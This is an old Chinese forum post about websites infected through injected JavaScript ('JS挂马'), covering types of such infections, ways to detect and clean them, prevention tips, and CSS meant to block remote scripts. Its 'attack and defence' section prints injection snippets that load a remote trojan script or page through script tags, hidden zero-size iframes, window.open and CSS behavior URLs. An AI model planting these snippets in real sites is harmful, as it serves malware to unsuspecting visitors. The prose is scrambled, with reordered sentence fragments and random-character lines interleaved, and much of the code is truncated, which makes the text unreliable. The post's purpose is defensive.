搜索
查看: 11572|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

" P7 ?$ U% f: W, d* ?9 g7 i

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

3 F+ q1 W( W. R! e+ I! \9 \: B; W( O

IFRAME 和 JS 脚本挂马。

2 s. W& Y8 A. A+ E* u

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

& Y/ A9 n# [4 g" h1 O5 @& z

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

# i/ |5 `; Z- _- Z8 F

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

9 A E! q w5 \ d4 i% x$ g' x* n

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

$ p0 |& k8 |8 M) J- t

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

/ |1 f) K" p3 j3 y; c

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

6 ]0 B& C" M3 C6 P0 ]0 b$ u

。一千多位会员的 ID

0 @/ _3 b8 Z$ _5 u0 t2 \7 Y

2: 如何检测网页是否被挂马。

1 ^7 p; C- J2 o

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

9 X8 w, F, ]( v5 e

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

1 K- u+ ?# t+ H7 {' j

因素。
2 googl 检测。>

2 x" M, @* Y& f. u+ p

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

, _# t6 W6 `# C- x9 B1 s" B9 R" A: K

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

' M$ E. {4 I$ s

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

& B; N. k+ I, J$ m4 R2 r$ a% F5 |

/ ~3 s* p/ I, V: H6 _

3: 如何清除网页木马。

$ @2 ]% ` d0 @* d. Q+ A

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

, b' E0 G! s; N0 [- n: ?$ @: W

入源文件把相关的网页挂马种类的可疑代码删除。

9 K, q! h7 l8 x- c& g

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

, L0 t$ |; U; m" ?9 U2 H

悉。>

; e8 n" L. d/ z

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

( q8 Q& G8 R8 [9 d# p I* _1 y

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

7 p' N! { s4 H2 f, y2 M' G% p% f

2 保证你所使用的顺序及时的更新。

$ r2 D" T, {8 a) K& [* i

3 不要在前台网页上加注后台管理程序登陆页面的链接。

& N/ X# `8 i- h6 d" ?( r1 @/ M, t( u

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

6 K* Y+ e B" I8 F

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

* M: I- }% Z5 A# D" ?

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

4 W! U* s- C" k4 E% P+ T

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

6 T* P; f9 ?: p9 J; b

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

3 j5 {0 X# m! [/ v: R2 v

& C4 A H" D9 I+ m$ l* ]

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

( {6 K A; t7 x- o" N$ Y

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

9 B# x+ J' }* y5 ^0 c+ q

JS 挂马溯源

8 _2 P/ y+ d0 b* {% B

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

( [. i0 ]3 A: b* |' S: n

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

" I( a2 `# `* e

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

( b9 u" m3 A. D! u" E, F/ O: ^

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

2 Q$ J" Y! r' m9 k

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

0 Y: E0 ^9 |+ [3 @2 I3 |

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

/ J0 m! ?/ l7 S% ?. F/ o

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

' z, t! v, C8 } F

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

U! l5 X( x4 b

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

) o p- z+ [0 I, S) f3 I

脚本在工作中会有很大的协助。

' v6 o0 d+ V# X4 r7 G$ K7 G+ G

挂马原理一点通

! @" C7 ?- j6 w4 E

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

& n% w& G2 z4 c5 @6 I; |5 G( U

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

$ T7 [- E5 q4 M/ J2 p3 s

无从区分木马在何处。

9 Y! n0 p. e: z* ]7 f I! R5 @, N

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

$ j9 i# T3 k1 N1 d

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

/ Y6 Q: ^( P5 o* X9 @8 \

容易蒙混过关,导致木马久杀不绝。

. B6 }; R) L% S* l; `. W7 R/ G

JS 挂马攻防实录

; h( T8 E1 Z0 V% A% R6 Z, d4 R# a! }' T

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

+ B5 C# B% U# N; c+ n( Y

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

Q/ L# z2 {$ \/ m/ E( f

这种方法使用的关键代码如下:

. K- _; `$ l& j/ }) c" B: {8 J

"",  window.open "http://www.v404.cn/ 木马

5 \8 G! r2 I/ l) u1 V6 F

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

- Q& K) Y5 ~8 e' X$ I

7 g8 U( d; \3 S) H* G8 U7 K# R8 [

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

, G8 p& `; ^6 d. {! c2 ^, N" I. z7 L

但是设置为 0 后,可能会出现恶意代码不运行的情况。

" A- C5 Y( p+ ^. d/ K

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

' v& }7 W* d+ o r, b

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

" L6 Y( Y0 k4 R! U$ }+ F4 Z6 U

. k- {" Z# o; H& W1 R5 ?

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

+ ~: i. i! e* E1 S

7 X9 s* v6 h1 Y0 H+ z

或者

6 h- K3 Q* t- O" n5 k3 i6 r

document.writ "<div style='display:none'>"

8 a/ B. F, x5 C! z k; a/ A5 z: Y

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

5 T, Y) q4 z3 q# q3 H7 H

document.writ "</div>"
 

" ]1 J4 d" j: ~' r ?6 v3 m, a1 o

9 r- b6 q' k! S0 R" b! L" T5 X

就成功地将木马挂到对方的网页中了

1 _5 l. P6 c2 T6 h

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

: Y1 f- k! n2 h ]7 `

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

0 {% |$ J* n2 x9 P$ t$ Z+ g

或者:

- K) L# J: q& t0 e+ L

<ifram src="vbscript:[ 挂马脚本 ]">

$ \1 z3 P$ X1 g+ Q% i2 T

3 g+ | E/ f- S. N" @- `, i# G


等等 …

$ W: x& A' I3 Y r( e9 q2 _

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

6 N+ K( c E( H$ q( J9 c9 x

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

; ] v2 Y1 L9 }

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

1 q3 ~% b4 |7 H" }' m6 v8 a

;}

1 w/ D; B3 c9 n

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

2 u. `1 D6 @/ x* h7 w1 B `

' k# H0 R* C' O

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

+ l; b$ w$ P$ x& x

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

4 I+ t( N3 U9 I! Y) C

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

5 n) `2 h6 k4 x9 L

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

0 U& \2 u! y8 L) \! u( l4 r3 N* ?

<title> 让 JS 挂马中止的 CSS 代码 </title>

* v: W. x. C7 k

<styl type="text/css" id="shudoo">

8 R! Z5 b1 [$ d8 T# Y

/*<![CDATA[*/

( k/ H2 g; r6 J, t: B

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

9 \' g: y$ {/ e

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

$ ]- Q; A2 j6 s4 l

/*]]>*/

0 V3 ?; \- Z3 p9 `9 `& s4 F

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表